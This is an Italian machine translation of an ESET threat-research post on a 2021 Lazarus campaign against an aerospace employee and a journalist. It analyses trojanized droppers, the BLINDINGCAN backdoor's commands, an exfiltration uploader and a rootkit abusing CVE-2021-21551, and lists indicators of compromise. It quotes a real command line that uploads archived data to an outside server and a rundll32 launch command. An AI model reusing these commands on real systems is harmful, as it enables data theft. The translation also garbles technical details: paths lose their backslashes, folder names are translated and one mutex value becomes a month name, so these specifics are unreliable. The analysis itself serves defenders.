Logo Zephyrnet

Campagne a tema amazzonico di Lazzaro nei Paesi Bassi e in Belgio

Data:

I ricercatori ESET hanno scoperto gli attacchi di Lazarus contro obiettivi nei Paesi Bassi e in Belgio che utilizzano e-mail di spearphishing collegate a false offerte di lavoro

I ricercatori ESET hanno scoperto e analizzato una serie di strumenti dannosi che sono stati utilizzati dal famigerato gruppo Lazarus APT negli attacchi durante l'autunno del 2021. La campagna è iniziata con e-mail di spearphishing contenenti documenti dannosi a tema Amazon e ha preso di mira un dipendente di un'azienda aerospaziale nei Paesi Bassi , e un giornalista politico in Belgio. L'obiettivo principale degli attaccanti era l'esfiltrazione dei dati. Lazarus (noto anche come HIDDEN COBRA) è attivo almeno dal 2009. È responsabile di incidenti di alto profilo come sia il Hack della Sony Pictures Entertainment e decine di milioni di dollari attacchi informatici nel 2016, le WannaCryptor (alias WannaCry) nel 2017 e una lunga storia di attacchi dirompenti contro Infrastrutture pubbliche e critiche sudcoreane almeno dal 2011.

Risultati chiave in questo post sul blog:

  • La campagna Lazarus ha preso di mira un dipendente di un'azienda aerospaziale nei Paesi Bassi e un giornalista politico in Belgio.
  • Lo strumento più notevole utilizzato in questa campagna rappresenta il primo abuso registrato della vulnerabilità CVE‑2021‑21551. Questa vulnerabilità interessa i driver Dell DBUtil; Dell ha fornito un aggiornamento della sicurezza a maggio 2021.
  • Questo strumento, in combinazione con la vulnerabilità, disabilita il monitoraggio di tutte le soluzioni di sicurezza sui computer compromessi. Utilizza tecniche contro i meccanismi del kernel di Windows che non sono mai stati osservati prima nel malware.
  • Lazarus ha anche utilizzato in questa campagna la sua backdoor HTTP(S) completa nota come BLINDINGCAN.
  • La complessità dell'attacco indica che Lazarus è costituito da una grande squadra sistematicamente organizzata e ben preparata.

Entrambi gli obiettivi sono stati presentati con offerte di lavoro: il dipendente nei Paesi Bassi ha ricevuto un allegato tramite LinkedIn Messaging e la persona in Belgio ha ricevuto un documento via e-mail. Gli attacchi sono iniziati dopo l'apertura di questi documenti. Gli aggressori hanno implementato diversi strumenti dannosi su ciascun sistema, inclusi contagocce, caricatori, backdoor HTTP(S) complete, caricatori e downloader HTTP(S). Il punto in comune tra i contagocce era che si trattava di progetti open source trojanizzati che decrittografano il payload incorporato utilizzando moderni cifrari a blocchi con chiavi lunghe passate come argomenti della riga di comando. In molti casi, i file dannosi sono componenti DLL caricati lateralmente da EXE legittimi, ma da una posizione insolita nel file system.

Lo strumento più notevole fornito dagli aggressori è stato un modulo in modalità utente che ha acquisito la capacità di leggere e scrivere la memoria del kernel grazie al CVE-2021-21551 vulnerabilità in un driver Dell legittimo. Questo è il primo abuso mai registrato di questa vulnerabilità in natura. Gli aggressori hanno quindi utilizzato l'accesso in scrittura alla memoria del kernel per disabilitare sette meccanismi che il sistema operativo Windows offre per monitorare le sue azioni, come registro, file system, creazione di processi, traccia degli eventi ecc., fondamentalmente accecando le soluzioni di sicurezza in un modo molto generico e robusto.

In questo post del blog spieghiamo il contesto della campagna e forniamo un'analisi tecnica dettagliata di tutte le componenti. Questa ricerca è stata presentata a quest'anno Conferenza sul bollettino sui virus. A causa dell'originalità, l'obiettivo principale della presentazione è il componente dannoso utilizzato in questo attacco che utilizza la tecnica Bring Your Own Vulnerable Driver (BYOVD) e sfrutta la suddetta vulnerabilità CVE-2021-21551. Informazioni dettagliate sono disponibili nel white paper Lazarus e BYOVD: il male nel cuore di Windows.

Attribuiamo questi attacchi a Lazarus con grande sicurezza, sulla base dei moduli specifici, del certificato di firma del codice e dell'approccio di intrusione in comune con le precedenti campagne di Lazarus come Operazione in (ter) ception  ed Operazione DreamJob. La diversità, il numero e l'eccentricità nell'attuazione delle campagne di Lazarus definiscono questo gruppo, oltre al fatto che svolge tutti e tre i pilastri delle attività dei criminali informatici: spionaggio informatico, sabotaggio informatico e ricerca di guadagni finanziari.

Accesso iniziale

I ricercatori ESET hanno scoperto due nuovi attacchi: uno contro il personale di un media in Belgio e uno contro un dipendente di un'azienda aerospaziale nei Paesi Bassi.

Nei Paesi Bassi, l'attacco ha colpito un computer Windows 10 connesso alla rete aziendale, dove un dipendente è stato contattato tramite LinkedIn Messaging in merito a un presunto potenziale nuovo lavoro, provocando l'invio di un'e-mail con un allegato di un documento. Abbiamo contattato il professionista della sicurezza dell'azienda interessata, che è stato in grado di condividere con noi il documento dannoso. Il file di Word Amzon_Netherlands.docx inviato al target è semplicemente un documento di contorno con un logo Amazon (vedi Figura 1). Una volta aperto, il modello remoto https://thetalkingcanvas[.]com/thetalking/globalcareers/us/5/careers/jobinfo.php?image=_DO.PROG (dove è un numero di sette cifre) viene recuperato. Non siamo stati in grado di acquisire il contenuto, ma presumiamo che potesse contenere un'offerta di lavoro per il programma spaziale Amazon, Progetto Kuiper. Questo è un metodo che Lazzaro praticò nel Operazione in (ter) ception ed Operazione DreamJob campagne rivolte all'industria aerospaziale e della difesa.

Figura 1. Documento a tema Amazon inviato al target nei Paesi Bassi

In poche ore sono stati forniti al sistema diversi strumenti dannosi, inclusi contagocce, caricatori, backdoor HTTP(S) complete, caricatori HTTP(S) e scaricatori HTTP(S); vedere la sezione Set di strumenti.

In merito all'attacco in Belgio, il dipendente di una società di giornalismo (il cui indirizzo email era pubblicamente disponibile sul sito web dell'azienda) è stato contattato tramite un messaggio di posta elettronica con l'esca AWS_EMEA_Legal_.docx Allegata. Dal momento che non abbiamo ottenuto il documento, ne conosciamo solo il nome, il che suggerisce che potrebbe aver presentato un'offerta di lavoro in una posizione legale. Dopo l'apertura del documento, l'attacco è stato attivato, ma è stato immediatamente interrotto dai prodotti ESET, con un solo eseguibile dannoso coinvolto. L'aspetto interessante qui è che, a quel tempo, questo binario era validamente firmato con un certificato di firma del codice.

Attribuzione

Attribuiamo entrambi gli attacchi al gruppo Lazarus con un alto livello di confidenza. Ciò si basa sui seguenti fattori, che mostrano relazioni con altre campagne di Lazarus:

  1. Malware (il set di intrusioni):
    1. La backdoor HTTPS (SHA‑1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2) ha forti somiglianze con la backdoor BLINDINGCAN, segnalata da CISA (US-CERT), e attribuito a HIDDEN COBRA, che è il loro nome in codice per Lazarus.
    2. L'uploader HTTP(S) ha forti somiglianze con lo strumento C:ProgrammiIBM~DF234.TMP menzionato nel relazione di HvS Consulting, Sezione 2.10 Esfiltrazione.
    3. Il percorso completo del file e il nome, %ALLUSERSPROFILE%AdobeAdobe.tmp, è identica a quella riportata da Kaspersky nel febbraio 2021 in un white paper sulla malattia di Lazarus Operazione ThreatNeedle, che prende di mira l'industria della difesa.
    4. Il certificato di firma del codice, che è stato rilasciato alla società statunitense STUDIO MEDICO “A”, PLLC e utilizzato per firmare uno dei contagocce, è stato anche segnalato la campagna contro i ricercatori della sicurezza; vedi anche gruppo Lazarus: campagna 2 TOY GUYS, Rapporto sulle minacce ESET 2021 T1, Pagina 11.
    5. Un insolito tipo di crittografia è stato sfruttato negli strumenti di questa campagna di Lazarus: HC-128. Altri cifrari meno diffusi usati da Lazarus in passato: una variante Spritz di RC4 in l'abbeveratoio attacca le banche polacche e messicane; in seguito Lazarus utilizzò un RC4 modificato Operazione in (ter) ception; è stato utilizzato un codice di flusso A5/1 modificato Attacco alla catena di fornitura WIZVERA VeraPort.
  2. Infrastrutture:
    1. Per il server C&C di primo livello, gli aggressori non utilizzano i propri server, ma hackerano invece quelli esistenti. Questo è un comportamento tipico, ma di scarsa fiducia, di Lazzaro.

toolset

Uno dei tratti tipici di Lazarus è la consegna del carico utile finale sotto forma di una sequenza di due o tre fasi. Inizia con un contagocce - di solito un'applicazione open source trojanizzata - che decrittografa il payload incorporato con un moderno cifrario a blocchi come AES-128 (cosa non insolita per Lazarus, ad es. Codici Operativio un XOR offuscato, dopo aver analizzato gli argomenti della riga di comando per una chiave forte. Nonostante il payload incorporato non venga rilasciato sul file system ma caricato direttamente in memoria ed eseguito, denotiamo tale malware come un contagocce. Un malware che non ha un buffer crittografato, ma che carica un payload da un filesystem, viene indicato come caricatore.

I contagocce possono (Tabella 1) o meno (Tabella 2) essere caricati lateralmente da un processo legittimo (Microsoft). Nel primo caso qui, l'applicazione legittima si trova in una posizione insolita e il componente dannoso porta il nome della DLL corrispondente che è tra le importazioni dell'applicazione. Ad esempio, la DLL dannosa coloui.dll viene caricato lateralmente da un'applicazione di sistema legittima Pannello di controllo del colore (colorcpl.exe), entrambi situati a C:ProgramDataPTC. Tuttavia, la posizione abituale per questa applicazione legittima è %WINDOWS%Sistema32.

In tutti i casi, durante il runtime viene passato almeno un argomento della riga di comando che funge da parametro esterno richiesto per decrittografare il payload incorporato. Vengono utilizzati vari algoritmi di decrittazione; vedere l'ultima colonna nella tabella 1 e nella tabella 2. In molti casi, quando viene utilizzato AES-128, è presente anche un parametro interno codificato insieme al nome del processo padre e al relativo nome DLL, tutti necessari per la corretta decrittografia.

Tabella 1. DLL dannose caricate lateralmente da un processo legittimo da una posizione insolita

Cartella posizione Legittimo processo genitoriale DLL dannosa con caricamento laterale Progetto trojanizzato Parametro esterno Algoritmo di decrittazione
C:ProgramDataPTC colorcpl.exe colorui.dll libcrypto di LibreSSL 2.6.5 BE93E050D9C0EAEB1F0E6AE13C1595B5
(Carica BLINDINGCAN)
XOR
C: Windows Vss WFS.exe credui.dll GOnpp v1.2.0.0 (plug-in Notepad++) A39T8kcfkXymmAcq
(Carica il caricatore intermedio)
AES-128
C: Sicurezza di Windows WFS.exe credui.dll FingerText 0.56.1 (plug-in Notepad++) N/A AES-128
C:ProgramDataCaphyon wsmprovhost.exe mi.dll lecui 1.0.0 alfa 10 N/A AES-128
C:WindowsMicrosoft.NETFramework64v4.0.30319 SMSvcHost.exe cryptsp.dll lecui 1.0.0 alfa 10 N/A AES-128

Tabella 2. Altro malware coinvolto nell'attacco

Cartella posizione Malware Progetto trojanizzato Parametro esterno Algoritmo di decrittazione
C:Cache pubblica msdxm.ocx libpcre 8.44 93E41C6E20911B9B36BC
(Carica il downloader HTTP(S))
XOR
C:ProgrammiAdobe Adobe.tmp SQLite 3.31.1 S0RMM‑50QQE‑F65DN‑DCPYN‑5QEQA
(Carica il programma di aggiornamento HTTP(S))
XOR
C:Cache pubblica msdxm.ocx sslSniffer Mancante HC-128

Dopo aver decrittografato con successo, il buffer viene controllato per il formato PE corretto e l'esecuzione gli viene passata. Questa procedura può essere trovata nella maggior parte dei contagocce e dei caricatori. L'inizio può essere visto nella Figura 2.

Figura 2. Il buffer decrittografato è un eseguibile a 64 bit

Backdoor HTTP(S): BLINDINGCAN

Abbiamo identificato una backdoor HTTP(S) completa, un RAT noto come BLINDINGCAN, utilizzato nell'attacco.

Il contagocce di questo carico utile è stato eseguito come %ALLUSERSPROFILE%PTCcolorui.dll; vedere la tabella 1 per i dettagli. Il payload viene estratto e decrittografato utilizzando un semplice XOR ma con una chiave lunga, che è una stringa creata concatenando il nome del processo padre, è il proprio nome file e il parametro della riga di comando esterno – qui COLORCPL.EXECOLORUI.DLLBE93E050D9C0EAEB1F0E6AE13C1595B5.

Il carico utile, SHA-1: 735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2, è una DLL a 64 bit con VMProtect. Viene stabilita una connessione a una delle posizioni remote https://aquaprographix[.]com/patterns/Map/maps.php or https://turnscor[.]com/wp-includes/feedback.php. All'interno del codice virtualizzato abbiamo fatto il pivot tramite i seguenti artefatti RTTI molto specifici trovati nell'eseguibile: .?AVCHTTTP_Protocol@@, .?AVCFileRW@@. Inoltre, c'è una somiglianza a livello di codice, poiché gli indici dei comandi iniziano con lo stesso valore, 8201; vedere la Figura 3. Questo ci ha aiutato a identificare questo RAT come BLINDINGCAN (SHA-1: 5F4FBD57319BD0D2DF31131E864FDDA9590A652D), segnalato per la prima volta da CISA. La versione recente di questo carico utile è stata osservata in un'altra campagna a tema Amazon, in cui BLINDINGCAN è stato eliminato da un client Putty-0.77 trojanizzato: vedere il blog di Mandiant.

Figura 3. Confronto del codice di varianti semplici (superiori, non protette) e virtualizzate (inferiori, VMProtect) di BLINDINGCAN, con l'accordo di due indici di comando, 8256 e 8201

In base al numero di codici di comando disponibili per l'operatore, è probabile che sia disponibile un controller lato server in cui l'operatore può controllare ed esplorare i sistemi compromessi. Le azioni eseguite all'interno di questo controller probabilmente comportano l'invio degli ID di comando corrispondenti e dei relativi parametri al RAT in esecuzione sul sistema del target. L'elenco dei codici di comando è nella tabella 3 e concorda con l'analisi effettuata da JPCERT/CC, Appendice C. Non ci sono controlli di convalida di parametri come cartelle o nomi di file. Ciò significa che tutti i controlli devono essere implementati sul lato server, il che suggerisce che il controller lato server è un'applicazione complessa, molto probabilmente con una GUI intuitiva.

Tabella 3. I comandi del RAT

Comando Descrizione
8201 Invia informazioni di sistema come il nome del computer, la versione di Windows e la tabella codici.
8208 Ottieni gli attributi di tutti i file nelle cartelle RDP mappate (tsclient C ecc).
8209 Ottieni ricorsivamente gli attributi dei file locali.
8210 Esegui un comando nella console, archivia l'output in un file temporaneo e caricalo.
8211 Comprimi i file in una cartella temporanea e caricali.
8212 Scarica un file e aggiorna le informazioni sull'ora.
8214 Crea un nuovo processo nella console e raccogli l'output.
8215 Crea un nuovo processo nel contesto di sicurezza dell'utente rappresentato dal token specificato e raccogli l'output.
8217 Creare ricorsivamente un elenco di alberi di processo.
8224 Termina un processo.
8225 Elimina un file in modo sicuro.
8226 Abilita I/O non bloccanti tramite socket TCP (socket(AF_INET , SOCK_STREAM , IPPROTO_TCP) con il codice di controllo FIONBIO).
8227 Imposta la directory corrente per il processo corrente.
8231 Aggiorna le informazioni sull'ora del file selezionato.
8241 Invia la configurazione corrente al server C&C.
8242 Aggiorna la configurazione.
8243 Elenca ricorsivamente la struttura della directory.
8244 Ottieni il tipo e lo spazio libero su disco di un'unità.
8249 Continua con il comando successivo.
8256 Richiedi un altro comando dal server C&C.
8262 Riscrivi un file senza modificare l'ultima ora di scrittura.
8264 Copia un file in un'altra destinazione.
8265 Sposta un file in un'altra destinazione.
8272 Elimina un file.
8278 Fai uno screenshot.

Caricatore intermedio

Descriviamo ora una catena a tre stadi dove, purtroppo, siamo stati in grado di identificare solo i primi due passaggi: un contagocce e un caricatore intermedio.

Il primo stadio è un contagocce situato a C:WindowsVsscredui.dll ed è stato eseguito tramite un'applicazione legittima, ma vulnerabile al dirottamento dell'ordine di ricerca DLL, con il parametro (esterno). C:WindowsVssWFS.exe A39T8kcfkXymmAcq. Il programma WFS.exe è una copia dell'applicazione Fax e scansione di Windows, ma la sua posizione standard lo è %WINDOWS%Sistema32.

Il contagocce è un trojan Plug-in GOnpp per Notepad++, scritto nel linguaggio di programmazione Go. Dopo la decrittazione, il contagocce controlla se il buffer è un eseguibile a 64 bit valido e quindi, in tal caso, lo carica in memoria, in modo che la seconda fase sia pronta per l'esecuzione.

L'obiettivo di questa fase intermedia è caricare un carico utile aggiuntivo in memoria ed eseguirlo. Esegue questo compito in due passaggi. Prima legge e decrittografa il file di configurazione C:WindowsSystem32wlansvc.cpl, che non è, come potrebbe suggerire la sua estensione, un eseguibile (crittografato), ma un file di dati contenente blocchi di 14944 byte con configurazione. Non avevamo i dati particolari dell'attacco in corso; tuttavia, abbiamo ottenuto tale configurazione da un altro attacco di Lazarus: vedi Figura 5. La configurazione dovrebbe iniziare con una doppia parola che rappresenta la dimensione totale del buffer rimanente (vedi Riga 69 nella Figura 4 sotto e la variabile u32Dimensione totale), seguito da una matrice di 14944 strutture byte-long contenenti almeno due valori: il nome della DLL di caricamento come segnaposto per identificare il resto della configurazione (all'offset 168 della riga 74 nella figura 4 e il membro evidenziato nella figura 5).

Figura 4. Il primo passo per decrittare il file di configurazione e verificare se il nome della DLL di caricamento corrisponde a quello previsto

Il secondo passaggio è l'azione di lettura, decrittografia e caricamento di questo file che rappresenta molto probabilmente la terza e ultima fase. Dovrebbe essere un eseguibile a 64 bit e viene caricato nella memoria nello stesso modo in cui il contagocce di primo stadio ha gestito il caricatore intermedio. All'inizio dell'esecuzione viene creato un mutex come concatenazione della stringa GlobalAppCompatCacheObject e il checksum CRC32 del suo nome DLL (credui.dll) rappresentato come numero intero con segno. Il valore dovrebbe essere uguale GlobalAppCompatCacheObject-1387282152 if wlansvc.cpl esiste e all'1387282152 ottobre altrimenti.

Figura 5. Una configurazione del caricatore intermedio. Il nome del file evidenziato dovrebbe corrispondere al nome del malware in esecuzione; vedere anche la figura 4.

Un fatto interessante è l'uso di questo algoritmo di decrittazione (Figure 4, Linee 43 e 68), che non è quello prevalente nel set di strumenti Lazarus né nel malware in generale. Le costanti 0xB7E15163 ed 0x61C88647 (che è -0x9E3779B9; vedere la Figura 6, Riga 29 e 35) in l'espansione chiave suggerisce che sia l'algoritmo RC5 o RC6. Controllando il ciclo di decrittazione principale dell'algoritmo, si identifica che è il più complesso dei due, RC6. Un esempio di una minaccia sofisticata che utilizza una crittografia così insolita è BananaUsurper di Equations Group; vedere Il rapporto di Kaspersky da 2016.

Figura 6. Espansione chiave di RC6

Scaricatore HTTP(S).

Anche un downloader che utilizza i protocolli HTTP(S) è stato consegnato al sistema di destinazione.

È stato installato da un contagocce di primo stadio (SHA1: 001386CBBC258C3FCC64145C74212A024EAA6657), che è un trojan libpcre-8.44 biblioteca. È stato eseguito dal comando

cmd.exe /c inizio /b rundll32.exe C:PublicCachemsdxm.ocx,sCtrl 93E41C6E20911B9B36BC

(il parametro è una chiave XOR per l'estrazione del payload incorporato; vedere la tabella 2). Il contagocce raggiunge anche la persistenza creando il OneNoteTray.LNK file che si trova nel %APPDATA%MicrosoftWindowsMenu StartProgrammiAvvio cartella.

La seconda fase è un modulo VMProtect a 32 bit che effettua una richiesta di connessione HTTP a un server C&C memorizzato nella sua configurazione; vedere la Figura 7. Utilizza lo stesso User Agent –Mozilla/5.0 (Windows NT 6.1; WOW64) Cromo/28.0.1500.95Safari/537.36 – come BLINDINGCAN RAT, contiene l'artefatto RTTI .?AVCHTTTP_Protocollo@@ ma non .?AVFCileRW@@e manca di funzionalità come l'acquisizione di schermate, l'archiviazione di file o l'esecuzione di un comando tramite la riga di comando. È in grado di caricare un eseguibile in un blocco di memoria appena allocato e di passargli l'esecuzione del codice.

Figura 7. Una configurazione del downloader HTTP(S). I valori evidenziati sono la dimensione della configurazione e il numero di URL. Nell'attacco che abbiamo osservato, tutti gli URL erano identici.

Caricatore HTTP(S).

Questo strumento Lazarus è responsabile dell'esfiltrazione dei dati, utilizzando i protocolli HTTP o HTTPS.

Viene anche consegnato in due fasi. Il contagocce iniziale è un trojan sqlite-3.31.1 biblioteca. I campioni Lazarus di solito non contengono un percorso PDB, ma questo caricatore ne ha uno, W:DevelopToolHttpUploaderHttpPOSTPro_BINRUNDLL64sqlite3.pdb, che suggerisce immediatamente anche la sua funzionalità: un HTTP Uploader.

Il contagocce si aspetta più parametri della riga di comando: uno di questi è una password richiesta per decrittografare e caricare il payload incorporato; il resto dei parametri viene passato al carico utile. Non abbiamo catturato i parametri, ma fortunatamente è stato osservato un uso in natura di questo strumento in un'indagine forense da parte di Consulenza HvS:

C:ProgramDataIBM~DF234.TMP S0RMM-50QQE-F65DN-DCPYN-5QEQA https://www.gonnelli.it/uploads/catalogo/thumbs/thumb.asp C:ProgramDataIBMrestore0031.dat data03 10000 -p 192.168.1.240 8080

Il primo parametro, S0RMM-50QQE-F65DN-DCPYN-5QEQA, ha funzionato come chiave per la routine di decrittazione del contagocce (per essere più precisi, è stata eseguita prima un'offuscamento, in cui il buffer crittografato è stato sottoposto a XOR-ed con la sua copia spostata di un byte; quindi è seguita una decrittazione XOR con la chiave). Il resto dei parametri viene archiviato in una struttura e passato al secondo stadio. Per la spiegazione del loro significato, vedere la Tabella 4.

Tabella 4. Parametri della riga di comando per il programma di aggiornamento HTTP(S).

Parametro Valore Spiegazione
1 S0RMM-50QQE-F65DN-DCPYN-5QEQA Una chiave di decrittazione da 29 byte.
2 https:// C&C per l'esfiltrazione dei dati.
3 C:ProgramDataIBMrestore0031.dat Il nome di un volume RAR locale.
4 data03 Il nome dell'archivio sul lato server.
5 10,000 La dimensione di uno split RAR (max 200,000 kB).
6 N/A Indice iniziale di una divisione.
7 N/A Indice finale di una divisione.
8 -p192.168.1.240 8080 Un interruttore -p
9 Indirizzo IP proxy
10 Porta proxy

La seconda fase è l'uploader HTTP stesso. L'unico parametro per questa fase è una struttura contenente il server C&C per l'esfiltrazione, il nome file di un archivio RAR locale, il nome radice di un archivio RAR lato server, la dimensione totale di un RAR suddiviso in kilobyte, un parametro opzionale gamma di indici divisi e un optional -p passare con l'IP proxy interno e una porta; vedere la Tabella 4. Ad esempio, se l'archivio RAR è suddiviso in 88 blocchi, ciascuno grande 10,000 kB, l'uploader invierà queste suddivisioni e le memorizzerà sul lato server sotto i nomi dati03.000000.avi, dati03.000001.avi, ..., dati03.000087.avi. Vedere la figura 8, riga 42, in cui sono formattate queste stringhe.

Lo User-Agent è lo stesso di BLINDINGCAN e del downloader HTTP(S),  Mozilla/5.0 (Windows NT 6.1; WOW64) Cromo/28.0.1500.95Safari/537.36.

Figura 8. L'esfiltrazione di RAR si divide in un server C&C

Rootkit FudModule

Abbiamo identificato una libreria collegata dinamicamente con il nome interno FudModule.dll che tenta di disabilitare varie funzionalità di monitoraggio di Windows. Lo fa modificando le variabili del kernel e rimuovendo i callback del kernel, il che è possibile perché il modulo acquisisce la capacità di scrivere nel kernel sfruttando le tecniche BYOVD, le specifiche CVE-2021-21551 vulnerabilità nel driver Dell dbutil_2_3.sys.

L'analisi completa di questo malware è disponibile come documento VB2022 Lazarus & BYOVD: il male al core di Windows.

Altro malware

Negli attacchi sono stati scoperti contagocce e caricatori aggiuntivi, ma non abbiamo ottenuto i parametri necessari per decrittografare i payload incorporati o i file crittografati.

Lecui troiani

Un progetto lecui di Alec Musafa servito agli aggressori come base di codice per la trojanizzazione di due caricatori aggiuntivi. Con i loro nomi di file, erano camuffati da librerie Microsoft mi.dll (Infrastrutture di gestione) e cryptsp.dll (Cryptographic Service Provider API), rispettivamente, e ciò era dovuto al caricamento laterale previsto da parte delle applicazioni legittime wsmprovhost.exe ed SMSvcHost.exe, rispettivamente; vedere la tabella 1.

Lo scopo principale di questi caricatori è leggere e decrittografare gli eseguibili che si trovano in flussi di dati alternativi (ANNUNCIO) a C:ProgramDataCaphyonmi.dll:Zone.Identifier ed C:ProgrammiWindows Media PlayerSkinsDarkMode.wmz:Zone.Identifier, rispettivamente. Dal momento che non abbiamo acquisito questi file, non è noto quale payload sia nascosto lì; tuttavia, l'unica certezza è che si tratta di un eseguibile, poiché il processo di caricamento segue la decrittografia (vedi Figura 2). L'uso di ADS non è nuovo, perché Ahnlab ha segnalato a Attacco di Lazzaro contro le compagnie sudcoreane nel giugno 2021 che coinvolgono tali tecniche.

FingerText trojanizzato

ESET ha bloccato un'ulteriore applicazione open source trojanizzata, FingerText 0.5.61 di erinata, situato in %WINDIR%securitycredui.dll. I parametri della riga di comando corretti non sono noti. Come in alcuni dei casi precedenti, per la decrittazione AES-128 del payload incorporato erano richiesti tre parametri: il nome del processo padre, WFS.exe; il parametro interno, mg89h7MsC5Da4ANi; e il parametro esterno mancante.

SSLSniffer trojanizzato

L'attacco contro un obiettivo in Belgio è stato bloccato all'inizio della sua catena di distribuzione, quindi è stato identificato un solo file, un contagocce a 32 bit situato in C:PublicCachemsdxm.ocx. È un componente sslSniffer di lupoSSL progetto che è stato trojanizzato. Al momento dell'attentato, era validamente firmato con un certificato rilasciato a STUDIO MEDICO “A”, PLLC (vedi Figura 8), che da allora è scaduto.

Figura 9. Certificato validamente firmato ma già scaduto

Ha due esportazioni dannose che la DLL legittima non ha: SetOfficeCertInit ed SetOfficeCert. Entrambe le esportazioni richiedono esattamente due parametri. Lo scopo della prima esportazione è stabilire la persistenza creando OfficeSync.LNK, situata in %APPDATA%MicrosoftWindowsMenu StartProgrammiAvvio, puntando alla DLL dannosa ed eseguendo la sua seconda esportazione tramite rundll32.exe con i parametri passati a se stesso.

La seconda esportazione, SetOfficeCert, utilizza il primo parametro come chiave per decrittografare il payload incorporato, ma non è stato possibile estrarlo, poiché la chiave non ci è nota.

L'algoritmo di decrittazione è interessante anche come usano gli aggressori HC-128 con la chiave a 128 bit come primo parametro e per il relativo vettore di inizializzazione a 128 bit, la stringa ffffffffffffff. Le costanti che rivelano la cifra sono visualizzate nella Figura 10.

Figura 10. La configurazione della chiave con costanti evidenziate che suggerisce la cifra HC-128

Conclusione

In questo attacco, così come in molti altri attribuiti a Lazarus, abbiamo visto che molti strumenti erano distribuiti anche su un singolo endpoint mirato in una rete di interesse. Senza dubbio, la squadra dietro l'attacco è abbastanza numerosa, organizzata in modo sistematico e ben preparata. Per la prima volta in natura, gli aggressori sono stati in grado di sfruttare CVE-2021-21551 per disattivare il monitoraggio di tutte le soluzioni di sicurezza. Non è stato fatto solo nello spazio del kernel, ma anche in modo robusto, utilizzando una serie di interni di Windows piccoli o non documentati. Indubbiamente ciò richiedeva profonde capacità di ricerca, sviluppo e test.

Dal punto di vista dei difensori, sembra più facile limitare le possibilità di accesso iniziale che bloccare il robusto set di strumenti che verrebbe installato dopo che determinati attaccanti avranno preso piede nel sistema. Come in molti casi in passato, un dipendente che cade in preda al richiamo degli aggressori è stato il punto iniziale del fallimento qui. Nelle reti sensibili, le aziende dovrebbero insistere affinché i dipendenti non perseguano le proprie agende personali, come la ricerca di lavoro, sui dispositivi appartenenti all'infrastruttura della propria azienda.

Per qualsiasi domanda sulla nostra ricerca pubblicata su WeLiveSecurity, contattaci all'indirizzo threatintel@eset.com.

ESET Research offre ora anche report di intelligence APT privati ​​e feed di dati. Per qualsiasi domanda su questo servizio, visitare il Intelligence sulle minacce ESET .

IOCS

Un elenco completo di Indicatori di Compromesso e campioni può essere trovato nel ns GitHub repository.

SHA-1 Nome del file rivelazione Descrizione
296D882CB926070F6E43C99B9E1683497B6F17C4 FudModule.dll Win64/Rootkit.NukeSped.A Un modulo in modalità utente che opera con la memoria del kernel.
001386CBBC258C3FCC64145C74212A024EAA6657 C:PublicCachemsdxm.ocx Win32/NukeSped.KQ Un contagocce del downloader HTTP(S).
569234EDFB631B4F99656529EC21067A4C933969 colorui.dll Win64/NukeSped.JK Un contagocce di BLINDINGCAN caricato lateralmente da un legittimo colorcpl.exe.
735B7E9DFA7AF03B751075FD6D3DE45FBF0330A2 N/A Win64/NukeSped.JK Una variante a 64 bit di BLINDINGCAN RAT.
4AA48160B0DB2F10C7920349E3DCCE01CCE23FE3 N/A Win32/NukeSped.KQ Un downloader HTTP(S).
C71C19DBB5F40DBB9A721DC05D4F9860590A5762 Adobe.tmp Win64/NukeSped.JD Un contagocce dell'uploader HTTP(S).
97DAAB7B422210AB256824D9759C0DBA319CA468 credui.dll Win64/NukeSped.JH Un contagocce di un caricatore intermedio.
FD6D0080D27929C803A91F268B719F725396FE79 N/A Win64/NukeSped.LP Un caricatore HTTP(S).
83CF7D8EF1A241001C599B9BCC8940E089B613FB N/A Win64/NukeSped.JH Un caricatore intermedio che carica un payload aggiuntivo dal file system.
C948AE14761095E4D76B55D9DE86412258BE7AFD DBUtil_2_3.sys Win64/DBUtil.A Un driver vulnerabile legittimo di Dell, eliminato da FudModule.dll.
085F3A694A1EECDE76A69335CD1EA7F345D61456 cryptsp.dll Win64/NukeSped.JF Un contagocce a forma di libreria lecui trojanizzata.
55CAB89CB8DABCAA944D0BCA5CBBBEB86A11EA12 mi.dll Win64/NukeSped.JF Un contagocce a forma di libreria lecui trojanizzata.
806668ECC4BFB271E645ACB42F22F750BFF8EE96 credui.dll Win64/NukeSped.JC Un plug-in FingerText trojanizzato per Notepad++.
BD5DCB90C5B5FA7F5350EA2B9ACE56E62385CA65 msdxm.ocx Win32/NukeSped.KT Una versione trojanizzata di sslSniffer di LibreSSL.

Network NetPoulSafe

IP Provider Visto per la prima volta Dettagli
67.225.140[.]4 Liquid Web, LLC 2021-10-12 Un sito legittimo basato su WordPress compromesso che ospita il server C&C
https://turnscor[.]com/wp-includes/feedback.php
50.192.28[.]29 Comunicazioni via cavo Comcast, LLC 2021-10-12 Un sito legittimo compromesso che ospita il server C&C https://aquaprographix[.]com/patterns/Map/maps.php
31.11.32[.]79 Aruba SpA 2021-10-15 Un sito legittimo compromesso che ospita il server C&C http://www.stracarrara[.]org/images/img.asp

Tecniche MITRE ATT&CK

Questa tabella è stata creata utilizzando Versione 11 del framework MITRE ATT&CK.

tattica ID Nome Descrizione
T1106 API nativa La backdoor HTTP(S) di Lazarus utilizza l'API di Windows per creare nuovi processi.
T1059.003 Interprete di comandi e script: Shell dei comandi di Windows Il malware backdoor HTTP(S) utilizza cmd.exe per eseguire gli strumenti della riga di comando
Evasione della difesa T1140 Deoffuscare/decodificare file o informazioni Molti degli strumenti Lazarus sono archiviati in uno stato crittografato sul file system.
T1070.006 Rimozione dell'indicatore sull'host: Timestomp La backdoor HTTP(S) di Lazarus può modificare gli attributi di tempo del file di un file selezionato.
T1574.002 Flusso di esecuzione di dirottamento: caricamento laterale della DLL Molti dei contagocce e dei caricatori Lazarus utilizzano un programma legittimo per il loro caricamento.
T1014 Rootkit Il modulo user-to-kernel di Lazarus può disattivare le funzionalità di monitoraggio del sistema operativo.
T1027.002 File o informazioni offuscati: pacchetto software Lazarus usa Themida e VMProtect per offuscare i loro binari
T1218.011 Esecuzione proxy binario di sistema: Rundll32 Lazarus utilizza rundll32.exe per eseguire le sue DLL dannose
Comando e controllo T1071.001 Protocollo del livello di applicazione: protocolli Web La backdoor HTTP(S) di Lazarus utilizza HTTP e HTTPS per comunicare con i suoi server C&C.
T1573.001 Canale crittografato: crittografia simmetrica La backdoor HTTP(S) di Lazarus crittografa il traffico C&C utilizzando l'algoritmo AES-128.
